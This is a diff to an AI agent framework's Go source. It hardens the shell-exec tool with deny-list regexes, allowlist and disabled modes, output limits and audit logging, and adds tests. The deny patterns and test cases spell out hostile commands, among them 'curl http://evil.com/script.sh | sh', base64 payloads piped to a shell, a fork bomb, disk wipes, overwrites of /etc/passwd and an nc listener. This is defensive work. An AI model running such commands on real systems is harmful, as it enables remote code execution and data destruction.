index 1ca3fc35a..a4851e5a1 100644
--- a/pkg/tools/shell.go
+++ b/pkg/tools/shell.go
@@ -4,13 +4,33 @@ import (
 	"bytes"
 	"context"
 	"fmt"
+	"io"
 	"os"
 	"os/exec"
 	"path/filepath"
 	"regexp"
 	"runtime"
 	"strings"
+	"syscall"
 	"time"
+
+	"github.com/sipeed/picoclaw/pkg/logger"
+)
+
+// ShellMode controls how command filtering works.
+type ShellMode string
+
+const (
+	ShellModeDenyList  ShellMode = "denylist"  // default: block known-dangerous patterns
+	ShellModeAllowList ShellMode = "allowlist" // only permit commands matching allow patterns
+	ShellModeDisabled  ShellMode = "disabled"  // shell execution entirely disabled
+
+	// maxOutputBytes is the maximum bytes we'll read from stdout/stderr combined.
+	// This prevents OOM from commands like `yes` or `cat /dev/urandom`.
+	maxOutputBytes = 1024 * 1024 // 1 MB
+
+	// maxOutputDisplay is the max characters shown to the LLM.
+	maxOutputDisplay = 10000
 )
 
 type ExecTool struct {
@@ -19,19 +39,12 @@ type ExecTool struct {
 	denyPatterns        []*regexp.Regexp
 	allowPatterns       []*regexp.Regexp
 	restrictToWorkspace bool
+	mode                ShellMode
+	workspace           string // root workspace path for audit logging
 }
 
 func NewExecTool(workingDir string, restrict bool) *ExecTool {
-	denyPatterns := []*regexp.Regexp{
-		regexp.MustCompile(`\brm\s+-[rf]{1,2}\b`),
-		regexp.MustCompile(`\bdel\s+/[fq]\b`),
-		regexp.MustCompile(`\brmdir\s+/s\b`),
-		regexp.MustCompile(`\b(format|mkfs|diskpart)\b\s`), // Match disk wiping commands (must be followed by space/args)
-		regexp.MustCompile(`\bdd\s+if=`),
-		regexp.MustCompile(`>\s*/dev/sd[a-z]\b`), // Block writes to disk devices (but allow /dev/null)
-		regexp.MustCompile(`\b(shutdown|reboot|poweroff)\b`),
-		regexp.MustCompile(`:\(\)\s*\{.*\};\s*:`),
-	}
+	denyPatterns := buildDenyPatterns()
 
 	return &ExecTool{
 		workingDir:          workingDir,
@@ -39,9 +52,66 @@ func NewExecTool(workingDir string, restrict bool) *ExecTool {
 		denyPatterns:        denyPatterns,
 		allowPatterns:       nil,
 		restrictToWorkspace: restrict,
+		mode:                ShellModeDenyList,
+		workspace:           workingDir,
 	}
 }
 
+// buildDenyPatterns returns the hardened set of deny-list patterns.
+func buildDenyPatterns() []*regexp.Regexp {
+	patterns := []string{
+		// Destructive file operations
+		`\brm\s+-[rf]{1,2}\b`,
+		`\bdel\s+/[fq]\b`,
+		`\brmdir\s+/s\b`,
+
+		// Disk wiping
+		`\b(format|mkfs|diskpart)\b`,
+		`\bdd\s+if=`,
+		`>\s*/dev/sd[a-z]\b`,
+
+		// System control
+		`\b(shutdown|reboot|poweroff|init\s+[06])\b`,
+
+		// Fork bomb
+		`:\(\)\s*\{.*\};\s*:`,
+
+		// Scripting language exec bypass
+		`\b(python[23]?|perl|ruby)\s+.*(-c\s+|.*\b(system|exec|os\.system|subprocess|popen|eval)\b)`,
+
+		// Base64 decode piped to shell
+		`base64\s+(-d|--decode).*\|\s*(sh|bash|zsh|dash)`,
+
+		// curl/wget piped to shell
+		`\b(curl|wget)\b.*\|\s*(sh|bash|zsh|dash|sudo)`,
+
+		// Direct writes to critical system paths
+		`>\s*/etc/(passwd|shadow|sudoers|hosts)`,
+
+		// Crontab manipulation
+		`\bcrontab\s+-[re]\b`,
+
+		// Network exfiltration via common tools to non-local
+		`\bnc\s+-[el]`,
+
+		// chmod to world-writable
+		`\bchmod\s+.*777\b`,
+
+		// Attempting to modify env to bypass PATH
+		`\bexport\s+path\s*=`,
+		`\benv\s+path\s*=`,
+
+		// sudo escalation
+		`\bsudo\s+(su|bash|sh|zsh|chmod|chown)\b`,
+	}
+
+	compiled := make([]*regexp.Regexp, 0, len(patterns))
+	for _, p := range patterns {
+		compiled = append(compiled, regexp.MustCompile(p))
+	}
+	return compiled
+}
+
 func (t *ExecTool) Name() string {
 	return "exec"
 }
@@ -85,7 +155,16 @@ func (t *ExecTool) Execute(ctx context.Context, args map[string]interface{}) *To
 		}
 	}
 
+	startTime := time.Now()
+
+	// Check if shell is disabled
+	if t.mode == ShellModeDisabled {
+		t.auditLog(command, cwd, -1, 0, true, time.Since(startTime))
+		return ErrorResult("Shell execution is disabled")
+	}
+
 	if guardError := t.guardCommand(command, cwd); guardError != "" {
+		t.auditLog(command, cwd, -1, 0, true, time.Since(startTime))
 		return ErrorResult(guardError)
 	}
 
@@ -102,25 +181,59 @@ func (t *ExecTool) Execute(ctx context.Context, args map[string]interface{}) *To
 		cmd.Dir = cwd
 	}
 
-	var stdout, stderr bytes.Buffer
-	cmd.Stdout = &stdout
-	cmd.Stderr = &stderr
+	// Set process group so we can kill children on timeout
+	if runtime.GOOS != "windows" {
+		cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+	}
+
+	// Use limited readers to prevent OOM from unbounded output
+	var stdout, stderr bytes.Buffer
+	stdoutPipe, err := cmd.StdoutPipe()
+	if err != nil {
+		return ErrorResult(fmt.Sprintf("failed to create stdout pipe: %v", err))
+	}
+	stderrPipe, err := cmd.StderrPipe()
+	if err != nil {
+		return ErrorResult(fmt.Sprintf("failed to create stderr pipe: %v", err))
+	}
+
+	if err := cmd.Start(); err != nil {
+		t.auditLog(command, cwd, -1, 0, false, time.Since(startTime))
+		return ErrorResult(fmt.Sprintf("failed to start command: %v", err))
+	}
+
+	// Read with size limits
+	io.Copy(&stdout, io.LimitReader(stdoutPipe, maxOutputBytes))
+	io.Copy(&stderr, io.LimitReader(stderrPipe, maxOutputBytes))
+
+	err = cmd.Wait()
+	duration := time.Since(startTime)
 
-	err := cmd.Run()
 	output := stdout.String()
 	if stderr.Len() > 0 {
 		output += "\nSTDERR:\n" + stderr.String()
 	}
 
+	exitCode := 0
 	if err != nil {
 		if cmdCtx.Err() == context.DeadlineExceeded {
+			// Kill the entire process group on timeout
+			t.killProcessGroup(cmd)
+
 			msg := fmt.Sprintf("Command timed out after %v", t.timeout)
+			t.auditLog(command, cwd, -1, len(output), false, duration)
 			return &ToolResult{
 				ForLLM:  msg,
 				ForUser: msg,
 				IsError: true,
 			}
 		}
+		// Extract exit code if possible
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			exitCode = exitErr.ExitCode()
+		} else {
+			exitCode = -1
+		}
 		output += fmt.Sprintf("\nExit code: %v", err)
 	}
 
@@ -128,11 +241,13 @@ func (t *ExecTool) Execute(ctx context.Context, args map[string]interface{}) *To
 		output = "(no output)"
 	}
 
-	maxLen := 10000
-	if len(output) > maxLen {
-		output = output[:maxLen] + fmt.Sprintf("\n... (truncated, %d more chars)", len(output)-maxLen)
+	// Truncate display output
+	if len(output) > maxOutputDisplay {
+		output = output[:maxOutputDisplay] + fmt.Sprintf("\n... (truncated, %d more chars)", len(output)-maxOutputDisplay)
 	}
 
+	t.auditLog(command, cwd, exitCode, len(output), false, duration)
+
 	if err != nil {
 		return &ToolResult{
 			ForLLM:  output,
@@ -148,17 +263,29 @@ func (t *ExecTool) Execute(ctx context.Context, args map[string]interface{}) *To
 	}
 }
 
+// killProcessGroup sends SIGKILL to the entire process group.
+func (t *ExecTool) killProcessGroup(cmd *exec.Cmd) {
+	if cmd.Process == nil || runtime.GOOS == "windows" {
+		return
+	}
+	pgid, err := syscall.Getpgid(cmd.Process.Pid)
+	if err != nil {
+		// Fallback: kill just the process
+		cmd.Process.Kill()
+		return
+	}
+	syscall.Kill(-pgid, syscall.SIGKILL)
+}
+
 func (t *ExecTool) guardCommand(command, cwd string) string {
 	cmd := strings.TrimSpace(command)
 	lower := strings.ToLower(cmd)
 
-	for _, pattern := range t.denyPatterns {
-		if pattern.MatchString(lower) {
-			return "Command blocked by safety guard (dangerous pattern detected)"
+	// In allowlist mode, only permit matching commands
+	if t.mode == ShellModeAllowList {
+		if len(t.allowPatterns) == 0 {
+			return "Command blocked: allowlist mode enabled but no patterns configured"
 		}
-	}
-
-	if len(t.allowPatterns) > 0 {
 		allowed := false
 		for _, pattern := range t.allowPatterns {
 			if pattern.MatchString(lower) {
@@ -169,6 +296,28 @@ func (t *ExecTool) guardCommand(command, cwd string) string {
 		if !allowed {
 			return "Command blocked by safety guard (not in allowlist)"
 		}
+		// Even in allowlist mode, still check path traversal
+	} else {
+		// Denylist mode: check deny patterns
+		for _, pattern := range t.denyPatterns {
+			if pattern.MatchString(lower) {
+				return "Command blocked by safety guard (dangerous pattern detected)"
+			}
+		}
+
+		// Legacy allowlist check (for backward compat when in denylist mode)
+		if len(t.allowPatterns) > 0 {
+			allowed := false
+			for _, pattern := range t.allowPatterns {
+				if pattern.MatchString(lower) {
+					allowed = true
+					break
+				}
+			}
+			if !allowed {
+				return "Command blocked by safety guard (not in allowlist)"
+			}
+		}
 	}
 
 	if t.restrictToWorkspace {
@@ -204,6 +353,27 @@ func (t *ExecTool) guardCommand(command, cwd string) string {
 	return ""
 }
 
+// auditLog writes a structured log entry for every shell command execution.
+func (t *ExecTool) auditLog(command, cwd string, exitCode, outputLen int, blocked bool, duration time.Duration) {
+	status := "ok"
+	if blocked {
+		status = "blocked"
+	} else if exitCode != 0 {
+		status = "error"
+	}
+
+	logger.InfoCF("shell", "Command execution",
+		map[string]interface{}{
+			"command":    command,
+			"cwd":        cwd,
+			"exit_code":  exitCode,
+			"output_len": outputLen,
+			"blocked":    blocked,
+			"status":     status,
+			"duration":   duration.String(),
+		})
+}
+
 func (t *ExecTool) SetTimeout(timeout time.Duration) {
 	t.timeout = timeout
 }
@@ -212,6 +382,10 @@ func (t *ExecTool) SetRestrictToWorkspace(restrict bool) {
 	t.restrictToWorkspace = restrict
 }
 
+func (t *ExecTool) SetMode(mode ShellMode) {
+	t.mode = mode
+}
+
 func (t *ExecTool) SetAllowPatterns(patterns []string) error {
 	t.allowPatterns = make([]*regexp.Regexp, 0, len(patterns))
 	for _, p := range patterns {
diff --git a/pkg/tools/shell_test.go b/pkg/tools/shell_test.go
index c06468a39..c12cffca3 100644
--- a/pkg/tools/shell_test.go
+++ b/pkg/tools/shell_test.go
@@ -208,3 +208,160 @@ func TestShellTool_RestrictToWorkspace(t *testing.T) {
 		t.Errorf("Expected 'blocked' message for path traversal, got ForLLM: %s, ForUser: %s", result.ForLLM, result.ForUser)
 	}
 }
+
+// TestGuardCommand_DenyPatterns is a comprehensive table-driven test for all deny patterns
+func TestGuardCommand_DenyPatterns(t *testing.T) {
+	tool := NewExecTool("/tmp", false)
+
+	tests := []struct {
+		name    string
+		command string
+		blocked bool
+	}{
+		// Destructive file ops
+		{"rm -rf root", "rm -rf /", true},
+		{"rm -f file", "rm -f important.txt", true},
+		{"safe rm", "rm file.txt", false},
+
+		// Disk operations
+		{"dd if", "dd if=/dev/zero of=/dev/sda", true},
+		{"mkfs", "mkfs.ext4 /dev/sda1", true},
+		{"diskpart", "diskpart /clean", true},
+
+		// System control
+		{"shutdown", "shutdown -h now", true},
+		{"reboot", "reboot", true},
+		{"poweroff", "poweroff", true},
+
+		// Fork bomb
+		{"fork bomb", ":(){ :|:& };:", true},
+
+		// Script exec bypass
+		{"python system", "python -c 'import os; os.system(\"rm -rf /\")'", true},
+		{"python3 exec", "python3 -c exec('dangerous')", true},
+		{"perl exec", "perl -c 'system(\"rm -rf /\")'", true},
+
+		// Base64 to shell
+		{"base64 to sh", "echo cm0gLXJm | base64 -d | sh", true},
+		{"base64 decode to bash", "base64 --decode payload | bash", true},
+
+		// curl/wget to shell
+		{"curl pipe sh", "curl http://evil.com/script.sh | sh", true},
+		{"wget pipe bash", "wget -O - http://evil.com/script.sh | bash", true},
+		{"curl pipe sudo", "curl http://evil.com/script.sh | sudo bash", true},
+
+		// Critical file writes
+		{"overwrite passwd", "echo 'root::0:0' > /etc/passwd", true},
+		{"overwrite shadow", "echo x > /etc/shadow", true},
+
+		// Crontab manipulation
+		{"crontab remove", "crontab -r", true},
+		{"crontab edit", "crontab -e", true},
+
+		// chmod 777
+		{"chmod 777", "chmod 777 /tmp/file", true},
+
+		// PATH manipulation
+		{"export PATH", "export PATH=/tmp:$PATH", true},
+		{"env PATH", "env PATH=/tmp ls", true},
+
+		// sudo escalation
+		{"sudo su", "sudo su -", true},
+		{"sudo bash", "sudo bash", true},
+		{"sudo chmod", "sudo chmod 777 /etc", true},
+
+		// Device writes
+		{"write to sda", "echo data > /dev/sda", true},
+
+		// nc listener
+		{"nc listen", "nc -l 4444", true},
+
+		// Safe commands that should NOT be blocked
+		{"safe echo", "echo hello", false},
+		{"safe ls", "ls -la", false},
+		{"safe cat", "cat file.txt", false},
+		{"safe grep", "grep -r 'pattern' .", false},
+		{"safe git", "git status", false},
+		{"safe python run", "python script.py", false},
+		{"safe curl", "curl http://example.com", false},
+		{"safe mkdir", "mkdir -p /tmp/test", false},
+		{"safe cp", "cp file1.txt file2.txt", false},
+		{"safe mv", "mv old.txt new.txt", false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := tool.guardCommand(tt.command, "/tmp")
+			isBlocked := result != ""
+			if isBlocked != tt.blocked {
+				if tt.blocked {
+					t.Errorf("expected command %q to be BLOCKED, but it was allowed", tt.command)
+				} else {
+					t.Errorf("expected command %q to be ALLOWED, but it was blocked: %s", tt.command, result)
+				}
+			}
+		})
+	}
+}
+
+// TestGuardCommand_AllowListMode tests the allowlist mode
+func TestGuardCommand_AllowListMode(t *testing.T) {
+	tool := NewExecTool("/tmp", false)
+	tool.SetMode(ShellModeAllowList)
+	tool.SetAllowPatterns([]string{`^(echo|ls|cat)\b`})
+
+	tests := []struct {
+		name    string
+		command string
+		blocked bool
+	}{
+		{"allowed echo", "echo hello", false},
+		{"allowed ls", "ls -la", false},
+		{"allowed cat", "cat file.txt", false},
+		{"blocked grep", "grep pattern file", true},
+		{"blocked rm", "rm file.txt", true},
+		{"blocked python", "python script.py", true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := tool.guardCommand(tt.command, "/tmp")
+			isBlocked := result != ""
+			if isBlocked != tt.blocked {
+				if tt.blocked {
+					t.Errorf("allowlist: expected %q to be BLOCKED", tt.command)
+				} else {
+					t.Errorf("allowlist: expected %q to be ALLOWED, blocked: %s", tt.command, result)
+				}
+			}
+		})
+	}
+}
+
+// TestGuardCommand_DisabledMode tests the disabled mode
+func TestShellTool_DisabledMode(t *testing.T) {
+	tool := NewExecTool("/tmp", false)
+	tool.SetMode(ShellModeDisabled)
+
+	ctx := context.Background()
+	result := tool.Execute(ctx, map[string]interface{}{"command": "echo hello"})
+
+	if !result.IsError {
+		t.Error("expected error when shell is disabled")
+	}
+	if !strings.Contains(result.ForLLM, "disabled") {
+		t.Errorf("expected 'disabled' message, got: %s", result.ForLLM)
+	}
+}
+
+// TestGuardCommand_AllowListEmpty tests allowlist mode with no patterns configured
+func TestGuardCommand_AllowListEmpty(t *testing.T) {
+	tool := NewExecTool("/tmp", false)
+	tool.SetMode(ShellModeAllowList)
+	// Don't set any allow patterns
+
+	result := tool.guardCommand("echo hello", "/tmp")
+	if result == "" {
+		t.Error("expected command to be blocked when allowlist is empty")
+	}
+}
diff --git a/pkg/tools/subagent.go b/pkg/tools/subagent.go
index efa1d33aa..0040d06d6 100644
--- a/pkg/tools/subagent.go
+++ b/pkg/tools/subagent.go
@@ -6,8 +6,8 @@ import (
 	"sync"
 	"time"
 
+	fantasy "charm.land/fantasy"
 	"github.com/sipeed/picoclaw/pkg/bus"
-	"github.com/sipeed/picoclaw/pkg/providers"
 )
 
 type SubagentTask struct {
@@ -24,7 +24,7 @@ type SubagentTask struct {
 type SubagentManager struct {
 	tasks         map[string]*SubagentTask
 	mu            sync.RWMutex
-	provider      providers.LLMProvider
+	model         fantasy.LanguageModel
 	defaultModel  string
 	bus           *bus.MessageBus
 	workspace     string
@@ -33,10 +33,10 @@ type SubagentManager struct {
 	nextID        int
 }
 
-func NewSubagentManager(provider providers.LLMProvider, defaultModel, workspace string, bus *bus.MessageBus) *SubagentManager {
+func NewSubagentManager(model fantasy.LanguageModel, defaultModel, workspace string, bus *bus.MessageBus) *SubagentManager {
 	return &SubagentManager{
 		tasks:         make(map[string]*SubagentTask),
-		provider:      provider,
+		model:         model,
 		defaultModel:  defaultModel,
 		bus:           bus,
 		workspace:     workspace,
@@ -47,7 +47,6 @@ func NewSubagentManager(provider providers.LLMProvider, defaultModel, workspace
 }
 
 // SetTools sets the tool registry for subagent execution.
-// If not set, subagent will have access to the provided tools.
 func (sm *SubagentManager) SetTools(tools *ToolRegistry) {
 	sm.mu.Lock()
 	defer sm.mu.Unlock()
@@ -92,22 +91,10 @@ func (sm *SubagentManager) runTask(ctx context.Context, task *SubagentTask, call
 	task.Status = "running"
 	task.Created = time.Now().UnixMilli()
 
-	// Build system prompt for subagent
 	systemPrompt := `You are a subagent. Complete the given task independently and report the result.
 You have access to tools - use them as needed to complete your task.
 After completing the task, provide a clear summary of what was done.`
 
-	messages := []providers.Message{
-		{
-			Role:    "system",
-			Content: systemPrompt,
-		},
-		{
-			Role:    "user",
-			Content: task.Task,
-		},
-	}
-
 	// Check if context is already cancelled before starting
 	select {
 	case <-ctx.Done():
@@ -119,28 +106,24 @@ After completing the task, provide a clear summary of what was done.`
 	default:
 	}
 
-	// Run tool loop with access to tools
+	// Run tool loop via Fantasy agent
 	sm.mu.RLock()
 	tools := sm.tools
 	maxIter := sm.maxIterations
 	sm.mu.RUnlock()
 
 	loopResult, err := RunToolLoop(ctx, ToolLoopConfig{
-		Provider:      sm.provider,
-		Model:         sm.defaultModel,
+		Model:         sm.model,
+		ModelID:       sm.defaultModel,
 		Tools:         tools,
+		Bus:           sm.bus,
 		MaxIterations: maxIter,
-		LLMOptions: map[string]any{
-			"max_tokens":  4096,
-			"temperature": 0.7,
-		},
-	}, messages, task.OriginChannel, task.OriginChatID)
+	}, systemPrompt, task.Task, task.OriginChannel, task.OriginChatID)
 
 	sm.mu.Lock()
 	var result *ToolResult
 	defer func() {
 		sm.mu.Unlock()
-		// Call callback if provided and result is set
 		if callback != nil && result != nil {
 			callback(ctx, result)
 		}
@@ -149,7 +132,6 @@ After completing the task, provide a clear summary of what was done.`
 	if err != nil {
 		task.Status = "failed"
 		task.Result = fmt.Sprintf("Error: %v", err)
-		// Check if it was cancelled
 		if ctx.Err() != nil {
 			task.Status = "cancelled"
 			task.Result = "Task cancelled during execution"
@@ -180,9 +162,8 @@ After completing the task, provide a clear summary of what was done.`
 		sm.bus.PublishInbound(bus.InboundMessage{
 			Channel:  "system",
 			SenderID: fmt.Sprintf("subagent:%s", task.ID),
-			// Format: "original_channel:original_chat_id" for routing back
-			ChatID:  fmt.Sprintf("%s:%s", task.OriginChannel, task.OriginChatID),
-			Content: announceContent,
+			ChatID:   fmt.Sprintf("%s:%s", task.OriginChannel, task.OriginChatID),
+			Content:  announceContent,
 		})
 	}
 }
@@ -206,8 +187,6 @@ func (sm *SubagentManager) ListTasks() []*SubagentTask {
 }
 
 // SubagentTool executes a subagent task synchronously and returns the result.
-// Unlike SpawnTool which runs tasks asynchronously, SubagentTool waits for completion
-// and returns the result directly in the ToolResult.
 type SubagentTool struct {
 	manager       *SubagentManager
 	originChannel string
@@ -264,19 +243,8 @@ func (t *SubagentTool) Execute(ctx context.Context, args map[string]interface{})
 		return ErrorResult("Subagent manager not configured").WithError(fmt.Errorf("manager is nil"))
 	}
 
-	// Build messages for subagent
-	messages := []providers.Message{
-		{
-			Role:    "system",
-			Content: "You are a subagent. Complete the given task independently and provide a clear, concise result.",
-		},
-		{
-			Role:    "user",
-			Content: task,
-		},
-	}
+	systemPrompt := "You are a subagent. Complete the given task independently and provide a clear, concise result."
 
-	// Use RunToolLoop to execute with tools (same as async SpawnTool)
 	sm := t.manager
 	sm.mu.RLock()
 	tools := sm.tools
@@ -284,15 +252,12 @@ func (t *SubagentTool) Execute(ctx context.Context, args map[string]interface{})
 	sm.mu.RUnlock()
 
 	loopResult, err := RunToolLoop(ctx, ToolLoopConfig{
-		Provider:      sm.provider,
-		Model:         sm.defaultModel,
+		Model:         sm.model,
+		ModelID:       sm.defaultModel,
 		Tools:         tools,
+		Bus:           sm.bus,
 		MaxIterations: maxIter,
-		LLMOptions: map[string]any{
-			"max_tokens":  4096,
-			"temperature": 0.7,
-		},
-	}, messages, t.originChannel, t.originChatID)
+	}, systemPrompt, task, t.originChannel, t.originChatID)
 
 	if err != nil {
 		return ErrorResult(fmt.Sprintf("Subagent execution failed: %v", err)).WithError(err)
diff --git a/pkg/tools/subagent_tool_test.go b/pkg/tools/subagent_tool_test.go
index 8a7d22f24..4aad3efe8 100644
--- a/pkg/tools/subagent_tool_test.go
+++ b/pkg/tools/subagent_tool_test.go
@@ -2,43 +2,62 @@ package tools
 
 import (
 	"context"
+	"fmt"
 	"strings"
 	"testing"
 
+	fantasy "charm.land/fantasy"
 	"github.com/sipeed/picoclaw/pkg/bus"
-	"github.com/sipeed/picoclaw/pkg/providers"
 )
 
-// MockLLMProvider is a test implementation of LLMProvider
-type MockLLMProvider struct{}
+// MockLanguageModel is a test implementation of fantasy.LanguageModel
+type MockLanguageModel struct{}
 
-func (m *MockLLMProvider) Chat(ctx context.Context, messages []providers.Message, tools []providers.ToolDefinition, model string, options map[string]interface{}) (*providers.LLMResponse, error) {
+func (m *MockLanguageModel) Generate(_ context.Context, call fantasy.Call) (*fantasy.Response, error) {
 	// Find the last user message to generate a response
-	for i := len(messages) - 1; i >= 0; i-- {
-		if messages[i].Role == "user" {
-			return &providers.LLMResponse{
-				Content: "Task completed: " + messages[i].Content,
-			}, nil
+	for i := len(call.Prompt) - 1; i >= 0; i-- {
+		if call.Prompt[i].Role == fantasy.MessageRoleUser {
+			for _, part := range call.Prompt[i].Content {
+				if tp, ok := fantasy.AsMessagePart[fantasy.TextPart](part); ok {
+					return &fantasy.Response{
+						Content:      fantasy.ResponseContent{fantasy.TextContent{Text: "Task completed: " + tp.Text}},
+						FinishReason: fantasy.FinishReasonStop,
+					}, nil
+				}
+			}
 		}
 	}
-	return &providers.LLMResponse{Content: "No task provided"}, nil
+	return &fantasy.Response{
+		Content:      fantasy.ResponseContent{fantasy.TextContent{Text: "No task provided"}},
+		FinishReason: fantasy.FinishReasonStop,
+	}, nil
 }
 
-func (m *MockLLMProvider) GetDefaultModel() string {
-	return "test-model"
+func (m *MockLanguageModel) Stream(_ context.Context, call fantasy.Call) (fantasy.StreamResponse, error) {
+	resp, err := m.Generate(context.Background(), call)
+	if err != nil {
+		return nil, err
+	}
+	return func(yield func(fantasy.StreamPart) bool) {
+		yield(fantasy.StreamPart{Type: fantasy.StreamPartTypeTextDelta, Delta: resp.Content.Text()})
+		yield(fantasy.StreamPart{Type: fantasy.StreamPartTypeFinish, FinishReason: fantasy.FinishReasonStop})
+	}, nil
 }
 
-func (m *MockLLMProvider) SupportsTools() bool {
-	return false
+func (m *MockLanguageModel) GenerateObject(_ context.Context, _ fantasy.ObjectCall) (*fantasy.ObjectResponse, error) {
+	return nil, fmt.Errorf("not implemented")
 }
 
-func (m *MockLLMProvider) GetContextWindow() int {
-	return 4096
+func (m *MockLanguageModel) StreamObject(_ context.Context, _ fantasy.ObjectCall) (fantasy.ObjectStreamResponse, error) {
+	return nil, fmt.Errorf("not implemented")
 }
 
+func (m *MockLanguageModel) Provider() string { return "mock" }
+func (m *MockLanguageModel) Model() string    { return "test-model" }
+
 // TestSubagentTool_Name verifies tool name
 func TestSubagentTool_Name(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", nil)
 	tool := NewSubagentTool(manager)
 
@@ -49,7 +68,7 @@ func TestSubagentTool_Name(t *testing.T) {
 
 // TestSubagentTool_Description verifies tool description
 func TestSubagentTool_Description(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", nil)
 	tool := NewSubagentTool(manager)
 
@@ -64,7 +83,7 @@ func TestSubagentTool_Description(t *testing.T) {
 
 // TestSubagentTool_Parameters verifies tool parameters schema
 func TestSubagentTool_Parameters(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", nil)
 	tool := NewSubagentTool(manager)
 
@@ -114,7 +133,7 @@ func TestSubagentTool_Parameters(t *testing.T) {
 
 // TestSubagentTool_SetContext verifies context setting
 func TestSubagentTool_SetContext(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", nil)
 	tool := NewSubagentTool(manager)
 
@@ -127,7 +146,7 @@ func TestSubagentTool_SetContext(t *testing.T) {
 
 // TestSubagentTool_Execute_Success tests successful execution
 func TestSubagentTool_Execute_Success(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	msgBus := bus.NewMessageBus()
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", msgBus)
 	tool := NewSubagentTool(manager)
@@ -183,7 +202,7 @@ func TestSubagentTool_Execute_Success(t *testing.T) {
 
 // TestSubagentTool_Execute_NoLabel tests execution without label
 func TestSubagentTool_Execute_NoLabel(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	msgBus := bus.NewMessageBus()
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", msgBus)
 	tool := NewSubagentTool(manager)
@@ -207,7 +226,7 @@ func TestSubagentTool_Execute_NoLabel(t *testing.T) {
 
 // TestSubagentTool_Execute_MissingTask tests error handling for missing task
 func TestSubagentTool_Execute_MissingTask(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", nil)
 	tool := NewSubagentTool(manager)
 
@@ -257,7 +276,7 @@ func TestSubagentTool_Execute_NilManager(t *testing.T) {
 
 // TestSubagentTool_Execute_ContextPassing verifies context is properly used
 func TestSubagentTool_Execute_ContextPassing(t *testing.T) {
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	msgBus := bus.NewMessageBus()
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", msgBus)
 	tool := NewSubagentTool(manager)
@@ -286,7 +305,7 @@ func TestSubagentTool_Execute_ContextPassing(t *testing.T) {
 // TestSubagentTool_ForUserTruncation verifies long content is truncated for user
 func TestSubagentTool_ForUserTruncation(t *testing.T) {
 	// Create a mock provider that returns very long content
-	provider := &MockLLMProvider{}
+	provider := &MockLanguageModel{}
 	msgBus := bus.NewMessageBus()
 	manager := NewSubagentManager(provider, "test-model", "/tmp/test", msgBus)
 	tool := NewSubagentTool(manager)
diff --git a/pkg/tools/toolloop.go b/pkg/tools/toolloop.go
index 1302079b4..4e173931f 100644
--- a/pkg/tools/toolloop.go
+++ b/pkg/tools/toolloop.go
@@ -11,18 +11,18 @@ import (
 	"encoding/json"
 	"fmt"
 
+	fantasy "charm.land/fantasy"
+	"github.com/sipeed/picoclaw/pkg/bus"
 	"github.com/sipeed/picoclaw/pkg/logger"
-	"github.com/sipeed/picoclaw/pkg/providers"
-	"github.com/sipeed/picoclaw/pkg/utils"
 )
 
 // ToolLoopConfig configures the tool execution loop.
 type ToolLoopConfig struct {
-	Provider      providers.LLMProvider
-	Model         string
+	Model         fantasy.LanguageModel
+	ModelID       string
 	Tools         *ToolRegistry
+	Bus           *bus.MessageBus
 	MaxIterations int
-	LLMOptions    map[string]any
 }
 
 // ToolLoopResult contains the result of running the tool loop.
@@ -31,124 +31,154 @@ type ToolLoopResult struct {
 	Iterations int
 }
 
-// RunToolLoop executes the LLM + tool call iteration loop.
-// This is the core agent logic that can be reused by both main agent and subagents.
-func RunToolLoop(ctx context.Context, config ToolLoopConfig, messages []providers.Message, channel, chatID string) (*ToolLoopResult, error) {
-	iteration := 0
-	var finalContent string
+// RunToolLoop executes the Fantasy agent loop with PicoClaw tools.
+// This is the core agent logic reused by both main agent and subagents.
+func RunToolLoop(ctx context.Context, config ToolLoopConfig, systemPrompt, userPrompt, channel, chatID string) (*ToolLoopResult, error) {
+	// Build adapted tools
+	adaptedTools := BuildAdaptedToolsFromRegistry(config.Tools, config.Bus, channel, chatID)
 
-	for iteration < config.MaxIterations {
-		iteration++
-
-		logger.DebugCF("toolloop", "LLM iteration",
-			map[string]any{
-				"iteration": iteration,
-				"max":       config.MaxIterations,
-			})
-
-		// 1. Build tool definitions
-		var providerToolDefs []providers.ToolDefinition
-		if config.Tools != nil {
-			providerToolDefs = config.Tools.ToProviderDefs()
-		}
-
-		// 2. Set default LLM options
-		llmOpts := config.LLMOptions
-		if llmOpts == nil {
-			llmOpts = map[string]any{
-				"max_tokens":  4096,
-				"temperature": 0.7,
-			}
-		}
-
-		// 3. Call LLM
-		response, err := config.Provider.Chat(ctx, messages, providerToolDefs, config.Model, llmOpts)
-		if err != nil {
-			logger.ErrorCF("toolloop", "LLM call failed",
-				map[string]any{
-					"iteration": iteration,
-					"error":     err.Error(),
-				})
-			return nil, fmt.Errorf("LLM call failed: %w", err)
-		}
-
-		// 4. If no tool calls, we're done
-		if len(response.ToolCalls) == 0 {
-			finalContent = response.Content
-			logger.InfoCF("toolloop", "LLM response without tool calls (direct answer)",
-				map[string]any{
-					"iteration":     iteration,
-					"content_chars": len(finalContent),
-				})
-			break
-		}
-
-		// 5. Log tool calls
-		toolNames := make([]string, 0, len(response.ToolCalls))
-		for _, tc := range response.ToolCalls {
-			toolNames = append(toolNames, tc.Name)
-		}
-		logger.InfoCF("toolloop", "LLM requested tool calls",
-			map[string]any{
-				"tools":     toolNames,
-				"count":     len(response.ToolCalls),
